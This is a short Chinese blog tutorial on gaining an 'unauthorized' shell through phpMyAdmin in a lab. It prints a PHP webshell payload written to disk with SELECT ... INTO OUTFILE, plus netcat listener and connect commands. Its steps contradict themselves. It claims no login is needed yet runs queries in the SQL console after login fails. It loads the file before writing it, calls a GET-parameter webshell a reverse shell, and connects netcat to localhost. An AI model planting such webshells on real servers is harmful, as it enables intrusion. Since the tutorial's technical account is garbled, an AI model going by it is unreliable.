返回

PHPMyAdmin 未授权 Getshell 技巧大揭秘

前端

引言

在渗透测试过程中,发现一个无法登录的 PHPMyAdmin 实例时,寻找其他攻击途径至关重要。本文将重点介绍一种鲜为人知的技术——PHPMyAdmin 未授权 Getshell,并通过一个靶场演示来揭示其运作原理。

技术原理

PHPMyAdmin 未授权 Getshell 攻击利用了 PHPMyAdmin 中的漏洞,该漏洞允许攻击者在未经授权的情况下执行任意 PHP 代码。通过构造恶意 SQL 查询,攻击者可以绕过登录验证并获取对数据库服务器的完全访问权限。

靶场演示

为了演示这一技术,我们将在一个靶场环境中进行操作。靶场设置如下:

  • 靶机:具有 PHPMyAdmin 实例的 Linux 服务器
  • 攻击机:运行 Kali Linux 的计算机

步骤 1:识别漏洞

首先,我们尝试使用默认凭据登录 PHPMyAdmin,但失败了。这意味着该实例无法使用传统方法访问。

步骤 2:构造恶意查询

接下来,我们构造了一个恶意 SQL 查询,该查询利用了 PHPMyAdmin 中的漏洞:

SELECT LOAD_FILE('/tmp/test.php');

此查询将尝试从 /tmp 目录中加载名为 test.php 的 PHP 脚本。

步骤 3:执行查询

我们将恶意查询粘贴到 PHPMyAdmin 的 SQL 查询界面中并执行它。

步骤 4:上传 PHP Shell

现在,我们需要向 /tmp 目录上传一个 PHP shell。我们使用如下命令通过 Netcat 在攻击机和靶机之间建立连接:

nc -nvlp 1234

然后,在 PHPMyAdmin 中执行以下查询:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/test.php';

这将在 /tmp 目录中创建 test.php 脚本,其中包含一个 PHP 反向 shell。

步骤 5:连接 Shell

最后,我们使用如下命令连接到 PHP 反向 shell:

nc 127.0.0.1 1234

现在,我们已经获得了对靶机的未授权 shell 访问权限。

缓解措施

为了防止 PHPMyAdmin 未授权 Getshell 攻击,采取以下缓解措施至关重要:

  • 定期更新 PHPMyAdmin 至最新版本
  • 启用 PHPMyAdmin 的 HTTP 基本身份验证
  • 限制对 PHPMyAdmin 实例的外部访问
  • 禁用 PHPMyAdmin 中的任意文件上传功能

结论

PHPMyAdmin 未授权 Getshell 技巧是一种强大的渗透测试技术,可以帮助攻击者获取未授权的系统访问权限。通过利用 PHPMyAdmin 中的漏洞,攻击者可以绕过登录验证并执行恶意代码。然而,通过采取适当的缓解措施,可以有效防止这种类型的攻击。